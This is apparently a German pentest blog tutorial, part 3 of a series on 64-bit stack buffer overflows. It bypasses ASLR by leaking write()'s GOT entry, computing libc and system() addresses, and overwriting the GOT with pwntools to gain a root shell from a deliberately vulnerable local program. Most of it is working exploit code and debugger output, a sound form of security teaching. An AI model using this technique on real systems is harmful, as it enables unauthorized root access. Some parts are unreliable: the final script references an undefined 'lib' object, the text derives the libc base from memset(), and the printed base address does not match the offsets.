{{tag>deutsch Linux kali it-security blog pentest}}
====== Buffer Overflow im 64-Bit Stack - Teil 3 ======
{{:it-security:blog:bof-part3-header.jpg?400|}}
In [[it-security:blog:buffer_overflow_x64-2|Teil 2]] haben wir den String ''/bin/zsh'' an die Funktion ''System()'' gesendet, um eine root Shell zu öffen. Hierzu mussten wir aber ASLR deaktivieren- ASLR verändert Funktionsadressen bei jedem Programmneustart. Superkojiman beschreibt [[https://blog.techorganic.com|in seinem Blog]] ausführlich, wie man diesen Schutz dennoch umgehen kann. Hierzu müssen wir uns aber erstmal ein paar Dinge veranschaulichen
\\
\\
===== Einleitung =====
{{page>vorlagen:64_bit_stack_nav}}
==== Theorie ====
In Linux Systemen verwendet man üblicherweise dynamische Programmbibliotheken. Dies hat den Vorteil, dass wir nicht jede Funktion in jedem Programm neuschreiben müssen, sondern einfach auf die Funktion des Systems zugreifen können, welche z.B. in ''libc'' liegt. Ist ASLR nun aktiviert, werden die Adressen bei jedem Programmstart verändert.
=== PLT und GOT ===
PLT (Procedure Linkage Table) und GOT (Global Offset Table) übernehmen hierbei das Zusammenspiel beim dynamischen Linking. Die Funktion ''write()'' zeigt beim Aufruf nicht auf die eigentliche Funktion, sondern auf ''write@plt''. Von der PLT wird dann der GOT Eintrag für die Funktion angefordert.
In der GOT liegen nun alle ''libc'' Adressen und PLT leitet die Ausführung an diese um. Ist die Adresse noch nicht vorhanden, sucht ''ld.so'' nach dieser und speichert sie in der GOT. Dieses Prinzip können wir uns nun zu Nutze machen.((https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got))
=== Leak and Overwrite ===
Um an unsere root Shell zu kommen, müssen wir nun folgendes machen:
- Wir leaken den GOT Eintrag für die Funktion ''write()''
- Wir brauchen die Basis-Adresse für ''libc'', um die Adressen anderer Funktionen berechnen zu können. Die ''libc''-Basis-Adresse ist die Differenz zwischen der Adresse von ''memset()'' und dem ''write()''-Offset aus ''libc.so.6''
- Die Adresse einer Library-Funktion erhalten wir, indem wir den jeweiligen ''libc.so.6''Offset mit der ''libc''-Basis-Adresse addieren
- In der GOT überschreiben wir eine Adresse mit der von ''system()'', so dass wir beim Aufruf der Funktion einen Systembefehl absetzen können
[-------------------------------------code-------------------------------------]
0x4011de : lea rax,[rbp-0xa0]
0x4011e5 : mov rsi,rax
0x4011e8 : mov edi,0x1
=> 0x4011ed : call 0x401030
0x4011f2 : mov eax,0x0
0x4011f7 : leave
\\
\\
===== Abhängigkeiten =====
* socat mod [[gh>andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat]]
* pwntools ((https://docs.pwntools.com/en/stable/install.html))
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools
\\
\\
==== C Programm ====
Der Quellcode und die kompilierte Binary sind auch auf [[gh>psycore8/nosoc-bof/tree/main/part-3|Github]] verfügbar.
/* Code https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/ */
/* Compile: gcc -fno-stack-protector -no-pie bof-part3.c -o bof-part3 */
/* Enable ASLR: echo 2 > /proc/sys/kernel/randomize_va_space */
#include
#include
#include
void helper() {
asm("pop %rdi; pop %rsi; pop %rdx; ret");
}
int vuln() {
char buf[150];
ssize_t b;
memset(buf, 0, 150);
printf("Enter input: ");
b = read(0, buf, 400);
printf("Recv: ");
write(1, buf, b);
return 0;
}
int main(int argc, char *argv[]){
setbuf(stdout, 0);
vuln();
return 0;
}
\\
\\
===== Debug =====
{{page>vorlagen:attention}}
==== socat Listener starten ====
Das mitgelieferte socat besitzt Mechanismen zum Schutz des Speichers. Im Abschnitt Abhängigkeiten gibt es eine modifizierte Version auf Github.
/dir/to/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3
\\
\\
==== GOT Adresse von write ====
Wir prüfen, wo der Pfad zur ''libc'' ist:
ldd bof-part3
linux-vdso.so.1 (0x00007ffe5d956000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f53c7dd7000)
/lib64/ld-linux-x86-64.so.2 (0x00007f53c7fd2000)
Anschließend finden wir das Offset für ''write()'' heraus:
readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep write
2839: 00000000000f7af0 157 FUNC WEAK DEFAULT 16 write@@GLIBC_2.2.5
\\
\\
==== Breakpoint für write ====
Wir müssen nun heraus finden, an welcher Stelle ''write()'' aufgerufen wird.
0x4011e8 : mov edi,0x1
=> 0x4011ed : call 0x401030
0x4011f2 : mov eax,0x0
Der Aufruf geschieht bei ''0x4011ed'' und wir setzen hier unseren Haltepunkt.
echo "br *0x4011ed" >> ~/.gdbinit
\\
\\
==== gdb an socat anhängen ====
gdb -q -p `pidof socat`
Breakpoint 1 at 0x4011ed
Attaching to process 111187
\\
\\
==== Verbindung mit Port 2323 ====
Wir verbinden uns mit nc und triggern den Haltepunkt.
nc localhost 2323
Enter input: 123
Recv: 123
\\
\\
==== Suche nach write GOT ====
Ist unser Haltepunkt erreicht, suchen wir nach der ''write'' GOT Adresse
gdb-peda$ x/gx 0x404000
0x404000 : 0x0000000000401036
gdb-peda$ x/5i 0x0000000000401036
0x401036 : push 0x0
0x40103b : jmp 0x401020
0x401040 : jmp QWORD PTR [rip+0x2fc2] # 0x404008
0x401046 : push 0x1
0x40104b : jmp 0x401020
Wir gehen einen Schritt weiter, ohne in die Funktion reinzuspringen. Anschließend suchen wir erneut.
next
gdb-peda$ x/gx 0x404000
0x404000 : 0x00007f559dd76af0
gdb-peda$ x/5i 0x00007f559dd76af0
0x7f559dd76af0 <__GI___libc_write>: cmp BYTE PTR [rip+0xe3ae1],0x0 # 0x7f559de5a5d8 <__libc_single_threaded>
0x7f559dd76af7 <__GI___libc_write+7>: je 0x7f559dd76b10 <__GI___libc_write+32>
0x7f559dd76af9 <__GI___libc_write+9>: mov eax,0x1
0x7f559dd76afe <__GI___libc_write+14>: syscall
0x7f559dd76b00 <__GI___libc_write+16>: cmp rax,0xfffffffffffff000
An diesem Punkt zeigt die Adresse auf ''write()''
\\
\\
===== Exploit =====
==== Stage 1: write Adresse ====
Also schreiben wir uns ein erstes Exploit, um ''write()'' zu leaken.
#!/usr/bin/env python
from pwn import *
pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget
bin=ELF("./bof-part3")
s=remote("127.0.0.1",2323)
s.recvuntil(b": ")
buf = b"A"*168 # RIP Offset
buf += p64(pop3ret) # POP Argumente
buf += p64(constants.STDOUT_FILENO) # stdout
buf += p64(bin.got[b'write']) # lese von write@got
buf += p64(0x8) # schreibe 8 bytes in stdout
buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt
buf += b'EOPAY' # Ende des Payloads
print("[+] send payload")
s.send(buf) # buf überschreibt RIP
s.recvuntil(b'EOPAY') # Empfange Daten bis EOPAY
print("[+] recvd \'EOPAY\'")
got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))
Wir führen das Ganze aus und erhalten folgende Ausgabe
[+] Opening connection to 127.0.0.1 on port 2323: Done
[+] send payload
[+] recvd 'EOPAY'
[+] leaked write address: 0x7f6805548e80
[*] Closed connection to 127.0.0.1 port 2323
Damit wäre die erste Adresse geleakt.
==== Stage 2 - libc Base und system ====
Nun benötigen wir die libc-Basis Adresse und die von ''system()''. Diese berechnen wir so:
* $base(libc) = got(write) - offset(write)$
* $address(system) = base(libc) + offset(system)$
Die Offset Adresse erhalten wir so:
┌──(kali㉿kali)-[~/repo]
└─$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
1022: 000000000004c920 45 FUNC WEAK DEFAULT 16 system@@GLIBC_2.2.5
Wir überarbeiten also unser Exploit:
#!/usr/bin/env python
from pwn import *
pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget gadget
write_off = 0x0f7af0
system_off = 0x04c920
bin=ELF("./bof-part3")
s=remote("127.0.0.1",2323)
s.recvuntil(b": ")
buf = b"A"*168 # RIP offset
buf += p64(pop3ret) # POP Argumente
buf += p64(constants.STDOUT_FILENO) # stdout
buf += p64(bin.got[b'write']) # lese von write@got
buf += p64(0x8) # schreibe 8 bytes in stdout
buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt
buf += b'EOPAY' # Ende des Payloads
print("[+] send payload")
s.send(buf)
s.recvuntil(b'EOPAY')
print("[+] recvd \'EOPAY\'")
got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))
libc_base = got_leak - write_off # Berechne libc Basis
print("[+] libc base is at", hex(libc_base) )
system_addr = libc_base + system_off # Berechne system Adresse
print("[+] system() is at", hex(system_addr) )
Und nun schauen wir uns die Ausgabe an:
[+] Opening connection to 127.0.0.1 on port 2323: Done
[+] send payload
[+] recvd 'EOPAY'
[+] leaked write address: 0x7f73dc1c7e80
[+] libc base is at 0x7f73dc12c340
[+] system() is at 0x7f73dc178c60
[*] Closed connection to 127.0.0.1 port 2323
\\
\\
==== Stage 3 - Adresse überschreiben und Code ausführen ====
Für den letzten Abschnitt benötigen wir einen beschreibbaren Speicherbereich. Hierzu listen wir uns die Speicherzuweisungen in gdb auf.
gdb-peda$ info proc mappings
process 105836
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x400000 0x401000 0x1000 0x0 r--p /home/kali/repo/bof-part3
0x401000 0x402000 0x1000 0x1000 r-xp /home/kali/repo/bof-part3
0x402000 0x403000 0x1000 0x2000 r--p /home/kali/repo/bof-part3
0x403000 0x404000 0x1000 0x2000 r--p /home/kali/repo/bof-part3
0x404000 0x405000 0x1000 0x3000 rw-p /home/kali/repo/bof-part3
0x7f0f6fb35000 0x7f0f6fb38000 0x3000 0x0 rw-p
Der Bereich 0x404000 - 0x405000 ist beschreibbar und statisch. Das sehen wir uns genauer an.
gdb-peda$ x/30i 0x404000
...
0x404027 : add BYTE PTR [rax],al
0x404029: add BYTE PTR [rax],al
0x40402b: add BYTE PTR [rax],al
...
0x404029 sollte für unseren Zweck perfekt sein.
#!/usr/bin/env python
from pwn import *
pop3ret = 0x40116a # Unser pop rdi; pop rsi; pop rdx; ret; gadget
write_off = 0x0f7af0
system_off = 0x04c920
writable = 0x404029
bin=ELF("./bof-part3")
s=remote("127.0.0.1",2323)
s.recvuntil(b": ")
buf = b"A"*168 # padding to RIP's offset
buf += p64(pop3ret) # POP Argumente
buf += p64(constants.STDOUT_FILENO) # stdout
buf += p64(bin.got[b'write']) # lese von write@got
buf += p64(0x8) # schreibe 8 bytes in stdout
buf += p64(bin.plt[b'write']) # Rückkehr nach write@plt
# Teil 2: schreibe system Adresse in write got mittels read
buf+=p64(pop3ret)
buf+=p64(constants.STDIN_FILENO)
buf+=p64(bin.got[b'write']) #write@got
buf+=p64(0x8)
buf+=p64(bin.plt[b'read']) #read@plt
# Teil 3: schreibe /bin/sh in beschreibbare Adresse
buf+=p64(pop3ret)
buf+=p64(constants.STDIN_FILENO)
buf+=p64(writable)
buf+=p64(0x8)
buf+=p64(bin.plt[b'read'])
# Teil 4: rufe system auf
buf+=p64(pop3ret)
buf+=p64(writable)
buf+=p64(0xdeadbeef)
buf+=p64(0xcafebabe)
buf+=p64(bin.plt[b'write'])
buf += b'EOPAY'
print("[+] send payload")
s.send(buf) # buf überschreibt RIP
s.recvuntil(b'EOPAY')
print("[+] recvd \'EOPAY\'")
got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))
#s2
libc_base=got_leak-write_off
print(hex(lib.symbols[b'write']))
print("[+] libc base is at {}".format(hex(libc_base)))
system_addr=libc_base+system_off
print(hex(lib.symbols[b'system']))
print("[+] system() is at {}".format(hex(system_addr)))
#part 2
print("[+] sending system() address")
s.send(p64(system_addr))
#part 3
print("[+] sending /bin/zsh")
s.send(b'/bin/zsh')
#part 4
print("[+] trying shell")
s.interactive()
\\
\\
==== Optimierungen ====
Das Exploit mit weiteren pwntools Optimierungen und automatisiertem socat Start ist im [[gh>psycore8/nosoc-bof/tree/main/part-3|Github Repository]] zu finden. Das Exploit wurde ursprünglich von [[https://stackoverflow.com/users/8786498/zapho-oxx|Zopho Oxx]] geschrieben ((https://stackoverflow.com/a/48571747))
\\
\\
==== root Shell ====
Wir starten socat und bof-part3 als root
su root
┌──(root㉿kali)-[/home/kali/repo]
└─# /home/kali/repo/socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./bof-part3
und anschließend das Exploit als unpriviligierter Nutzer
┌──(kali㉿kali)-[~/repo]
└─$ python3 buffer3.py
Wir erhalten unsere Root Shell und haben die Kontrolle über das System.
{{:it-security:blog:bof-dism3-1.png?500|}}
\\
\\
===== Repository =====
^ Projektdateien | {{ :it-security:nosoc-repo-bof-part3.zip |}} |
^ Größe | 9,93 KB |
^ Prüfsumme (SHA256) | d1212026504c7a90680e3f1e430244734695971c73f1461bed12605644c707d8 |
===== Referenzen =====
* [[https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/]]
~~DISCUSSION~~